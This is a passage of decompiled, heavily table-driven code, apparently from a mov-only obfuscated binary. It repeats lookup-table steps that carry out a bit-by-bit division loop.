int v67 = *(int*)(v66 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v65 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_s = (unsigned short)v67;
*(int*)0x81FCFEE = v67;
int v68 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v66 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v66 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v65 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_s + 2) = (unsigned short)v68;
*(int*)0x81FCFEE = v68;
unsigned int v69 = alu_s;
unsigned int v70 = alu_ds;
**(unsigned int**)(v70 * 4 + (int)&sel_data) = v69;
alu_q = 0;
alu_r = 0;
alu_c = *(unsigned int*)((unsigned int)*((char*)&alu_n + 3) * 4 + (int)&alu_b7);
unsigned int v71 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*(char*)&alu_r * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*(char*)&alu_r = (unsigned char)v71;
*(char*)&alu_c = (unsigned char)(v71 >>> 8);
unsigned int v72 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 1) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 1) = (unsigned char)v72;
*(char*)&alu_c = (unsigned char)(v72 >>> 8);
unsigned int v73 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 2) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 2) = (unsigned char)v73;
*(char*)&alu_c = (unsigned char)(v73 >>> 8);
unsigned int v74 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 3) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 3) = (unsigned char)v74;
*(char*)&alu_c = (unsigned char)(v74 >>> 8);
alu_x = alu_r;
alu_y = alu_d;
alu_c = 1;
int v75 = (unsigned int)*(short*)&alu_x;
unsigned int v76 = alu_c;
int v77 = *(int*)(v76 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v75 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_t = (unsigned short)v77;
*(int*)0x81FCFEE = v77;
int v78 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v76 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v76 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v75 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_t + 2) = (unsigned short)v78;
*(int*)0x81FCFEE = v78;
alu_t = (unsigned int)*(unsigned char*)((unsigned int)*(char*)&alu_c + (int)&alu_true);
unsigned int v79 = alu_t;
alu_psel_r = *(unsigned int*)(v79 * 4 + (int)&alu_sel_r);
alu_psel_q = *(unsigned int*)(v79 * 4 + (int)&alu_sel_q);
alu_sr = *alu_psel_r;
alu_x = alu_sr;
alu_y = alu_d;
alu_c = 1;
int v80 = (unsigned int)*(short*)&alu_x;
unsigned int v81 = alu_c;
int v82 = *(int*)(v81 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v80 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_sr = (unsigned short)v82;
*(int*)0x81FCFEE = v82;
int v83 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v81 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v81 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v80 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_sr + 2) = (unsigned short)v83;
*(int*)0x81FCFEE = v83;
*alu_psel_r = alu_sr;
alu_sq = *alu_psel_q;
*((char*)&alu_sq + 3) = *(unsigned char*)((unsigned int)*((char*)&alu_sq + 3) + (int)&alu_b_s_7);
*alu_psel_q = alu_sq;
alu_c = *(unsigned int*)((unsigned int)*((char*)&alu_n + 3) * 4 + (int)&alu_b6);
unsigned int v84 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*(char*)&alu_r * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*(char*)&alu_r = (unsigned char)v84;
*(char*)&alu_c = (unsigned char)(v84 >>> 8);
unsigned int v85 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 1) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 1) = (unsigned char)v85;
*(char*)&alu_c = (unsigned char)(v85 >>> 8);
unsigned int v86 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 2) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 2) = (unsigned char)v86;
*(char*)&alu_c = (unsigned char)(v86 >>> 8);
unsigned int v87 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 3) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 3) = (unsigned char)v87;
*(char*)&alu_c = (unsigned char)(v87 >>> 8);
alu_x = alu_r;
alu_y = alu_d;
alu_c = 1;
int v88 = (unsigned int)*(short*)&alu_x;
unsigned int v89 = alu_c;
int v90 = *(int*)(v89 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v88 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_t = (unsigned short)v90;
*(int*)0x81FCFEE = v90;
int v91 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v89 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v89 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v88 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_t + 2) = (unsigned short)v91;
*(int*)0x81FCFEE = v91;
alu_t = (unsigned int)*(unsigned char*)((unsigned int)*(char*)&alu_c + (int)&alu_true);
unsigned int v92 = alu_t;
alu_psel_r = *(unsigned int*)(v92 * 4 + (int)&alu_sel_r);
alu_psel_q = *(unsigned int*)(v92 * 4 + (int)&alu_sel_q);
alu_sr = *alu_psel_r;
alu_x = alu_sr;
alu_y = alu_d;
alu_c = 1;
int v93 = (unsigned int)*(short*)&alu_x;
unsigned int v94 = alu_c;
int v95 = *(int*)(v94 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v93 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_sr = (unsigned short)v95;
*(int*)0x81FCFEE = v95;
int v96 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v94 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v94 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v93 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_sr + 2) = (unsigned short)v96;
*(int*)0x81FCFEE = v96;
*alu_psel_r = alu_sr;
alu_sq = *alu_psel_q;
*((char*)&alu_sq + 3) = *(char*)((unsigned int)*((char*)&alu_sq + 3) + &alu_b_s_6);
*alu_psel_q = alu_sq;
alu_c = *(unsigned int*)((unsigned int)*((char*)&alu_n + 3) * 4 + (int)&alu_b5);
unsigned int v97 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*(char*)&alu_r * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*(char*)&alu_r = (unsigned char)v97;
*(char*)&alu_c = (unsigned char)(v97 >>> 8);
unsigned int v98 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 1) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 1) = (unsigned char)v98;
*(char*)&alu_c = (unsigned char)(v98 >>> 8);
unsigned int v99 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 2) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 2) = (unsigned char)v99;
*(char*)&alu_c = (unsigned char)(v99 >>> 8);
unsigned int v100 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 3) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 3) = (unsigned char)v100;
*(char*)&alu_c = (unsigned char)(v100 >>> 8);
alu_x = alu_r;
alu_y = alu_d;
alu_c = 1;
int v101 = (unsigned int)*(short*)&alu_x;
unsigned int v102 = alu_c;
int v103 = *(int*)(v102 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v101 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_t = (unsigned short)v103;
*(int*)0x81FCFEE = v103;
int v104 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v102 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v102 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v101 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_t + 2) = (unsigned short)v104;
*(int*)0x81FCFEE = v104;
alu_t = (unsigned int)*(unsigned char*)((unsigned int)*(char*)&alu_c + (int)&alu_true);
unsigned int v105 = alu_t;
alu_psel_r = *(unsigned int*)(v105 * 4 + (int)&alu_sel_r);
alu_psel_q = *(unsigned int*)(v105 * 4 + (int)&alu_sel_q);
alu_sr = *alu_psel_r;
alu_x = alu_sr;
alu_y = alu_d;
alu_c = 1;
int v106 = (unsigned int)*(short*)&alu_x;
unsigned int v107 = alu_c;
int v108 = *(int*)(v107 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v106 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_sr = (unsigned short)v108;
*(int*)0x81FCFEE = v108;
int v109 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v107 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v107 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v106 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_sr + 2) = (unsigned short)v109;
*(int*)0x81FCFEE = v109;
*alu_psel_r = alu_sr;
alu_sq = *alu_psel_q;
*((char*)&alu_sq + 3) = *(char*)((unsigned int)*((char*)&alu_sq + 3) + &alu_b_s_5);
*alu_psel_q = alu_sq;
alu_c = *(unsigned int*)((unsigned int)*((char*)&alu_n + 3) * 4 + (int)&alu_b4);
unsigned int v110 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*(char*)&alu_r * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*(char*)&alu_r = (unsigned char)v110;
*(char*)&alu_c = (unsigned char)(v110 >>> 8);
unsigned int v111 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 1) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 1) = (unsigned char)v111;
*(char*)&alu_c = (unsigned char)(v111 >>> 8);
unsigned int v112 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 2) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 2) = (unsigned char)v112;
*(char*)&alu_c = (unsigned char)(v112 >>> 8);
unsigned int v113 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 3) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 3) = (unsigned char)v113;
*(char*)&alu_c = (unsigned char)(v113 >>> 8);
alu_x = alu_r;
alu_y = alu_d;
alu_c = 1;
int v114 = (unsigned int)*(short*)&alu_x;
unsigned int v115 = alu_c;
int v116 = *(int*)(v115 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v114 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_t = (unsigned short)v116;
*(int*)0x81FCFEE = v116;
int v117 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v115 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v115 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v114 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_t + 2) = (unsigned short)v117;
*(int*)0x81FCFEE = v117;
alu_t = (unsigned int)*(unsigned char*)((unsigned int)*(char*)&alu_c + (int)&alu_true);
unsigned int v118 = alu_t;
alu_psel_r = *(unsigned int*)(v118 * 4 + (int)&alu_sel_r);
alu_psel_q = *(unsigned int*)(v118 * 4 + (int)&alu_sel_q);
alu_sr = *alu_psel_r;
alu_x = alu_sr;
alu_y = alu_d;
alu_c = 1;
int v119 = (unsigned int)*(short*)&alu_x;
unsigned int v120 = alu_c;
int v121 = *(int*)(v120 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v119 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_sr = (unsigned short)v121;
*(int*)0x81FCFEE = v121;
int v122 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v120 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v120 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v119 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_sr + 2) = (unsigned short)v122;
*(int*)0x81FCFEE = v122;
*alu_psel_r = alu_sr;
alu_sq = *alu_psel_q;
*((char*)&alu_sq + 3) = *(char*)((unsigned int)*((char*)&alu_sq + 3) + &alu_b_s_4);
*alu_psel_q = alu_sq;
alu_c = *(unsigned int*)((unsigned int)*((char*)&alu_n + 3) * 4 + (int)&alu_b3);
unsigned int v123 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*(char*)&alu_r * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*(char*)&alu_r = (unsigned char)v123;
*(char*)&alu_c = (unsigned char)(v123 >>> 8);
unsigned int v124 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 1) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 1) = (unsigned char)v124;
*(char*)&alu_c = (unsigned char)(v124 >>> 8);
unsigned int v125 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 2) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 2) = (unsigned char)v125;
*(char*)&alu_c = (unsigned char)(v125 >>> 8);
unsigned int v126 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 3) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 3) = (unsigned char)v126;
*(char*)&alu_c = (unsigned char)(v126 >>> 8);
alu_x = alu_r;
alu_y = alu_d;
alu_c = 1;
int v127 = (unsigned int)*(short*)&alu_x;
unsigned int v128 = alu_c;
int v129 = *(int*)(v128 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v127 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_t = (unsigned short)v129;
*(int*)0x81FCFEE = v129;
int v130 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v128 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v128 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v127 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_t + 2) = (unsigned short)v130;
*(int*)0x81FCFEE = v130;
alu_t = (unsigned int)*(unsigned char*)((unsigned int)*(char*)&alu_c + (int)&alu_true);
unsigned int v131 = alu_t;
alu_psel_r = *(unsigned int*)(v131 * 4 + (int)&alu_sel_r);
alu_psel_q = *(unsigned int*)(v131 * 4 + (int)&alu_sel_q);
alu_sr = *alu_psel_r;
alu_x = alu_sr;
alu_y = alu_d;
alu_c = 1;
int v132 = (unsigned int)*(short*)&alu_x;
unsigned int v133 = alu_c;
int v134 = *(int*)(v133 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v132 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_sr = (unsigned short)v134;
*(int*)0x81FCFEE = v134;
int v135 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v133 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v133 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v132 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_sr + 2) = (unsigned short)v135;
*(int*)0x81FCFEE = v135;
*alu_psel_r = alu_sr;
alu_sq = *alu_psel_q;
*((char*)&alu_sq + 3) = *(char*)((unsigned int)*((char*)&alu_sq + 3) + &alu_b_s_3);
*alu_psel_q = alu_sq;
alu_c = *(unsigned int*)((unsigned int)*((char*)&alu_n + 3) * 4 + (int)&alu_b2);
unsigned int v136 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*(char*)&alu_r * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*(char*)&alu_r = (unsigned char)v136;
*(char*)&alu_c = (unsigned char)(v136 >>> 8);
unsigned int v137 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 1) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 1) = (unsigned char)v137;
*(char*)&alu_c = (unsigned char)(v137 >>> 8);
unsigned int v138 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 2) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 2) = (unsigned char)v138;
*(char*)&alu_c = (unsigned char)(v138 >>> 8);
unsigned int v139 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 3) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 3) = (unsigned char)v139;
*(char*)&alu_c = (unsigned char)(v139 >>> 8);
alu_x = alu_r;
alu_y = alu_d;
alu_c = 1;
int v140 = (unsigned int)*(short*)&alu_x;
unsigned int v141 = alu_c;
int v142 = *(int*)(v141 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v140 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_t = (unsigned short)v142;
*(int*)0x81FCFEE = v142;
int v143 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v141 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v141 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v140 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_t + 2) = (unsigned short)v143;
*(int*)0x81FCFEE = v143;
alu_t = (unsigned int)*(unsigned char*)((unsigned int)*(char*)&alu_c + (int)&alu_true);
unsigned int v144 = alu_t;
alu_psel_r = *(unsigned int*)(v144 * 4 + (int)&alu_sel_r);
alu_psel_q = *(unsigned int*)(v144 * 4 + (int)&alu_sel_q);
alu_sr = *alu_psel_r;
alu_x = alu_sr;
alu_y = alu_d;
alu_c = 1;
int v145 = (unsigned int)*(short*)&alu_x;
unsigned int v146 = alu_c;
int v147 = *(int*)(v146 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v145 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_sr = (unsigned short)v147;
*(int*)0x81FCFEE = v147;
int v148 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v146 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v146 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v145 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_sr + 2) = (unsigned short)v148;
*(int*)0x81FCFEE = v148;
*alu_psel_r = alu_sr;
alu_sq = *alu_psel_q;
*((char*)&alu_sq + 3) = *(char*)((unsigned int)*((char*)&alu_sq + 3) + &alu_b_s_2);
*alu_psel_q = alu_sq;
alu_c = *(unsigned int*)((unsigned int)*((char*)&alu_n + 3) * 4 + (int)&alu_b1);
unsigned int v149 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*(char*)&alu_r * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*(char*)&alu_r = (unsigned char)v149;
*(char*)&alu_c = (unsigned char)(v149 >>> 8);
unsigned int v150 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 1) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 1) = (unsigned char)v150;
*(char*)&alu_c = (unsigned char)(v150 >>> 8);
unsigned int v151 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 2) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 2) = (unsigned char)v151;
*(char*)&alu_c = (unsigned char)(v151 >>> 8);
unsigned int v152 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 3) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 3) = (unsigned char)v152;
*(char*)&alu_c = (unsigned char)(v152 >>> 8);
alu_x = alu_r;
alu_y = alu_d;
alu_c = 1;
int v153 = (unsigned int)*(short*)&alu_x;
unsigned int v154 = alu_c;
int v155 = *(int*)(v154 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v153 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_t = (unsigned short)v155;
*(int*)0x81FCFEE = v155;
int v156 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v154 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v154 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v153 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_t + 2) = (unsigned short)v156;
*(int*)0x81FCFEE = v156;
alu_t = (unsigned int)*(unsigned char*)((unsigned int)*(char*)&alu_c + (int)&alu_true);
unsigned int v157 = alu_t;
alu_psel_r = *(unsigned int*)(v157 * 4 + (int)&alu_sel_r);
alu_psel_q = *(unsigned int*)(v157 * 4 + (int)&alu_sel_q);
alu_sr = *alu_psel_r;
alu_x = alu_sr;
alu_y = alu_d;
alu_c = 1;
int v158 = (unsigned int)*(short*)&alu_x;
unsigned int v159 = alu_c;
int v160 = *(int*)(v159 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v158 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_sr = (unsigned short)v160;
*(int*)0x81FCFEE = v160;
int v161 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v159 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v159 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v158 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_sr + 2) = (unsigned short)v161;
*(int*)0x81FCFEE = v161;
*alu_psel_r = alu_sr;
alu_sq = *alu_psel_q;
*((char*)&alu_sq + 3) = *(char*)((unsigned int)*((char*)&alu_sq + 3) + &alu_b_s_1);
*alu_psel_q = alu_sq;
alu_c = *(unsigned int*)((unsigned int)*((char*)&alu_n + 3) * 4 + (int)&alu_b0);
unsigned int v162 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*(char*)&alu_r * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*(char*)&alu_r = (unsigned char)v162;
*(char*)&alu_c = (unsigned char)(v162 >>> 8);
